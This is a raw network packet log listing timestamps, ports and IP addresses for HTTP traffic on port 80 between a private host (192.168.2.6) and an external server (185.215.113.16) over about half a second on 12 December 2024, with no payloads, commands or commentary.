Dec 12, 2024 21:50:36.593549013 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.594485998 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.608143091 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.608315945 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.609954119 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.728363991 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.728472948 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.728827953 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.728921890 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.729964972 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.730006933 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.730113029 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.731070042 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.731162071 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.732181072 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.732275963 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.733130932 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.733164072 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.733284950 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.733395100 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.733397007 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.733442068 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.734426022 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.734570980 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.734643936 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.735519886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.735595942 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.736263037 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.736654997 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.736915112 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.737797022 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.737891912 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.737972021 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.738939047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.738996983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.739397049 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.740348101 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.740467072 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.740999937 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.741095066 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.741231918 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.741574049 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.742338896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.742522001 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.743522882 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.743586063 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.744621038 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.744688988 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.744935989 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.745004892 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.745587111 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.745630980 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.745726109 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.745770931 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.746748924 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.746794939 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.746838093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.746881008 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.747780085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.747833967 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.747919083 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.747967958 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.748970032 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.749017954 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.749058008 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.749104023 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.750035048 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.750137091 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.751110077 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.751271963 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.752298117 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.752386093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.753376007 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.753457069 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.754486084 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.754620075 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.755645990 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.755744934 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.756691933 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.756788015 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.757857084 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.757900000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.758096933 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.758250952 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.758938074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.759016037 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.759648085 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.760128021 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.760250092 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.760780096 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.761272907 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.761317015 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.761392117 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.762299061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.762372017 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.762373924 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.762427092 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.763400078 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.763457060 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.763571024 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.763628006 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.764590025 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.764609098 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.764658928 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.764659882 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.765640020 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.765717983 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.765853882 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.765902996 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.766742945 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.766794920 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.766839027 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.766890049 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.767827034 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.767878056 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.767925978 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.767976046 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.768955946 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.769005060 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.769114971 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.769174099 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.770168066 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.770231009 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.770555019 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.771218061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.771281004 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.772242069 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.772396088 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.772469997 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.773449898 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.773508072 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.774494886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.774619102 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.775808096 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.775818110 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.776782990 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.776932001 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.777861118 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.777976990 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.779006958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.779242992 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.780111074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.780219078 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.781254053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.781426907 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.782303095 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.782414913 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.783513069 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.783636093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.784823895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.784933090 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.785784960 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.786007881 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.786809921 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.789674997 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.789892912 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.789892912 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.789892912 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.920186043 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.920273066 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.920533895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.920629978 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.921664953 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.921776056 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.922775984 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.922852039 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.924050093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.924191952 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.924952030 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.925072908 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.926053047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.926145077 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.927381992 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.927453995 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.928358078 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.928410053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.929389000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.929496050 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.930563927 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.930574894 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.931282997 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.931504011 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.931504011 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.931677103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.931786060 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.931890011 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.932760954 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.932920933 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.933866978 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.933959007 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.934986115 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.935086012 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.936259031 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.936362982 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.937238932 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.937257051 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.938324928 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.938433886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.939430952 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.939522028 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.940615892 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.940773964 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.941685915 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.941864967 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.942780972 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.942933083 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.943941116 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.943988085 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.943988085 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.944000006 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.944014072 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.944058895 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.945192099 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.945242882 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.946192980 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.946266890 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.947278976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.947444916 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.948354006 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.948462963 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.949477911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.949650049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.950583935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.950689077 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.951503038 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.951718092 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.951858044 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.953016043 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.953145981 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.954066992 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.954238892 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.955215931 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.955329895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.956259012 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.956338882 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.957261086 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.957433939 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.958425999 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.958498001 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.959492922 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.959624052 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.960601091 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.960727930 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.961746931 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.961853981 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.962924957 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.963042021 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.963937044 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.964083910 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.965118885 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.965162992 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.966217041 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.966284037 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.967380047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.967447996 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.968404055 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.968508005 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.969573975 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.969695091 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.970689058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.970825911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.971584082 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.971899986 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.972071886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.973061085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.973149061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.974311113 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.974431992 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.975537062 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.975645065 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.976586103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.976774931 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.977675915 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.977768898 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.978717089 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.978717089 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.978758097 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.978776932 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.978854895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.978909969 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.978909969 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.112623930 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.112699986 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.113065958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.113171101 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.114098072 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.114274025 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.115521908 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.115633011 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.116415977 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.116535902 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.117630005 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.117707014 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.118755102 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.118844032 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.119971991 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.120098114 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.121036053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.121097088 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.122066975 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.122157097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.123063087 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.123209953 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.124193907 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.124321938 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.125379086 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.125468969 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.126288891 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.126426935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.127521038 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.127603054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.128654003 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.128684044 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.129755974 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.129858971 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.130759954 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.130933046 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.131861925 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.131974936 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.132733107 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.132945061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.133105993 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.134092093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.134202957 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.135199070 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.135335922 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.136416912 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.136534929 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.137618065 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.137736082 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.138740063 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.138776064 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.139822960 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.139936924 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.141268015 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.141398907 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.142443895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.142559052 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.143446922 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.143536091 CET	80	49942	185.215.113.16	192.168.2.6
